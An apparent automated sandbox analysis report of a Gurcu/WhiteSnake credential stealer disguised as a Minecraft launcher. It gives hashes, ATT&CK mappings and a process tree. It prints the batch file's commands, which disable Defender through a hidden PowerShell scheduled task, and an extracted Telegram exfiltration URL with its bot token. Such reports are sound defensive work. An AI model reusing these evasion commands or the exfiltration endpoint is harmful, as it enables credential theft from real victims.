gurcu | 1c3b03688284094e07ebe4a6c8df9887163181cdb978eb0146070e59f96c29e7

General

Target

Apollo_Launcher/start.bat
Size

854B
MD5

0bae63fa7bdef4a22a540c30d19d0419
SHA1

c8948de80bcaf1b661a1f32aea7ba95e2d4ad520
SHA256

179a4e724129787b00bd2aff3e08b0637c9c0fa81fb8bb86cee43020a332ea69
SHA512

79854985b8deff323372c4f5225eaadc49c390c23e3fd4ac4bd838d9636fb281b9c6db0b3d79067c44a43cf29e92999b810a3ca5805891ac527a56df007db63a

Score

10^/10

gurcu discovery execution spyware stealer

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4549607810&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20138.199.29.44%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan

Signatures

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5024	powershell.exe
5024	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	Minecraft_Client_1.21.1.exe

Executes dropped EXE 1 IoCs

pid	Process
2960	Minecraft_Client_1.21.1.exe

Loads dropped DLL 1 IoCs

pid	Process
2960	Minecraft_Client_1.21.1.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
27	raw.githubusercontent.com
21	pastebin.com
22	pastebin.com
23	raw.githubusercontent.com
24	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
30	ip-api.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Minecraft_Client_1.21.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Minecraft_Client_1.21.1.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2904	timeout.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1808	schtasks.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
5024	powershell.exe
5024	powershell.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe
2960	Minecraft_Client_1.21.1.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5024	powershell.exe
Token: SeDebugPrivilege	2960	Minecraft_Client_1.21.1.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4480	java.exe
4480	java.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2752 wrote to memory of 3392	2752	cmd.exe	85
PID 2752 wrote to memory of 3392	2752	cmd.exe	85
PID 3392 wrote to memory of 3292	3392	net.exe	86
PID 3392 wrote to memory of 3292	3392	net.exe	86
PID 2752 wrote to memory of 2220	2752	cmd.exe	87
PID 2752 wrote to memory of 2220	2752	cmd.exe	87
PID 2752 wrote to memory of 1808	2752	cmd.exe	88
PID 2752 wrote to memory of 1808	2752	cmd.exe	88
PID 2752 wrote to memory of 2300	2752	cmd.exe	89
PID 2752 wrote to memory of 2300	2752	cmd.exe	89
PID 2752 wrote to memory of 2904	2752	cmd.exe	91
PID 2752 wrote to memory of 2904	2752	cmd.exe	91
PID 2752 wrote to memory of 348	2752	cmd.exe	96
PID 2752 wrote to memory of 348	2752	cmd.exe	96
PID 2752 wrote to memory of 4480	2752	cmd.exe	97
PID 2752 wrote to memory of 4480	2752	cmd.exe	97
PID 4480 wrote to memory of 2960	4480	java.exe	103
PID 4480 wrote to memory of 2960	4480	java.exe	103
PID 2960 wrote to memory of 1272	2960	Minecraft_Client_1.21.1.exe	109
PID 2960 wrote to memory of 1272	2960	Minecraft_Client_1.21.1.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Apollo_Launcher\start.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2752
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3392
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:3292
- C:\Windows\system32\schtasks.exe
  schtasks /query /tn "AddDefenderExclusionTask"
  2⤵
  PID:2220
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "AddDefenderExclusionTask" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'" /sc once /st 00:00 /rl highest /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1808
- C:\Windows\system32\schtasks.exe
  schtasks /run /tn "AddDefenderExclusionTask"
  2⤵
  PID:2300
- C:\Windows\system32\timeout.exe
  timeout /t 3 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2904
- C:\Windows\system32\schtasks.exe
  schtasks /delete /tn "AddDefenderExclusionTask" /f
  2⤵
  PID:348
- C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe
  java -jar Apollo.jar
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4480
- - C:\Users\Admin\AppData\Local\Temp\Minecraft_Client_1.21.1\Minecraft_Client_1.21.1.exe
    C:\Users\Admin\AppData\Local\Temp\Minecraft_Client_1.21.1\Minecraft_Client_1.21.1.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2960
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpCB5E.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpCB5E.tmp.bat
      4⤵
      PID:1272

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

3

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Minecraft_Client_1.21.1\Minecraft_Client_1.21.1.exe

Filesize
5.6MB

MD5
31946abddd530c1e86f36c191046336b

SHA1
b480a8833f684cba353f628c087bf7297a4d4df8

SHA256
272a3703b7c4e353638c410008c95503abb90d47b81c5b253773cb0d546e5a0d

SHA512
93aeacbb4227b9ae1f731135dc42697fbdadff9c3259ccde9d7b7b4eecfef89c71e3d773df4281cae3d84f81246d6a95da9eaaea85efb949ca33a42f97ead8cb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_52rodshl.33r.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpCB5E.tmp.bat

Filesize
215B

MD5
edecc78b2f241e1272f6197fe89b7e9c

SHA1
f454966e03384768f142ff452dbf351dc25bdfdf

SHA256
03f91fda3049aa1a33f7b680ba0fd7a2df926e878275ef0433be1838f3e884da

SHA512
e60e40c598001e122f8988bba13022db987c16a5515280c79e4b2ffcc5b507ff0a399a5273db533ba5ba37d63207af9b027eb7e768745d48499cc9a6fb86a04f

Download Submit
C:\Users\Admin\AppData\Roaming\AdminUserCash\CREDIT~1

Filesize
116KB

MD5
f70aa3fa04f0536280f872ad17973c3d

SHA1
50a7b889329a92de1b272d0ecf5fce87395d3123

SHA256
8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

SHA512
30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

Download Submit
memory/2960-121-0x0000024E381C0000-0x0000024E38272000-memory.dmp

Filesize
712KB

Download
memory/2960-126-0x0000024E38340000-0x0000024E38366000-memory.dmp

Filesize
152KB

Download
memory/2960-156-0x0000024E383E0000-0x0000024E383F2000-memory.dmp

Filesize
72KB

Download
memory/2960-127-0x0000024E39260000-0x0000024E3958E000-memory.dmp

Filesize
3.2MB

Download
memory/2960-125-0x0000024E38380000-0x0000024E383BA000-memory.dmp

Filesize
232KB

Download
memory/2960-123-0x0000024E1F520000-0x0000024E1F52C000-memory.dmp

Filesize
48KB

Download
memory/2960-122-0x0000024E382C0000-0x0000024E38310000-memory.dmp

Filesize
320KB

Download
memory/2960-119-0x0000024E37EB0000-0x0000024E37F1A000-memory.dmp

Filesize
424KB

Download
memory/2960-118-0x0000024E1F530000-0x0000024E1F54E000-memory.dmp

Filesize
120KB

Download
memory/2960-109-0x0000024E1D3E0000-0x0000024E1D97A000-memory.dmp

Filesize
5.6MB

Download
memory/2960-117-0x0000024E1F570000-0x0000024E1F5B0000-memory.dmp

Filesize
256KB

Download
memory/2960-114-0x0000024E1F560000-0x0000024E1F56A000-memory.dmp

Filesize
40KB

Download
memory/2960-116-0x0000024E37E30000-0x0000024E37EA6000-memory.dmp

Filesize
472KB

Download
memory/4480-53-0x000002B3416E0000-0x000002B3416E1000-memory.dmp

Filesize
4KB

Download
memory/4480-189-0x000002B3416E0000-0x000002B3416E1000-memory.dmp

Filesize
4KB

Download
memory/4480-87-0x000002B3416E0000-0x000002B3416E1000-memory.dmp

Filesize
4KB

Download
memory/4480-43-0x000002B3416E0000-0x000002B3416E1000-memory.dmp

Filesize
4KB

Download
memory/4480-86-0x000002B3416E0000-0x000002B3416E1000-memory.dmp

Filesize
4KB

Download
memory/5024-14-0x00000199FA040000-0x00000199FA062000-memory.dmp

Filesize
136KB

Download
memory/5024-3-0x00000199FA0A0000-0x00000199FA122000-memory.dmp

Filesize
520KB

Download
memory/5024-0-0x00007FFD40483000-0x00007FFD40485000-memory.dmp

Filesize
8KB

Download
memory/5024-18-0x00007FFD40480000-0x00007FFD40F41000-memory.dmp

Filesize
10.8MB

Download
memory/5024-15-0x00000199FA340000-0x00000199FA442000-memory.dmp

Filesize
1.0MB

Download
memory/5024-2-0x00007FFD40480000-0x00007FFD40F41000-memory.dmp

Filesize
10.8MB

Download
memory/5024-1-0x00007FFD40480000-0x00007FFD40F41000-memory.dmp

Filesize
10.8MB

Download
memory/5024-13-0x00000199F79B0000-0x00000199F79C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads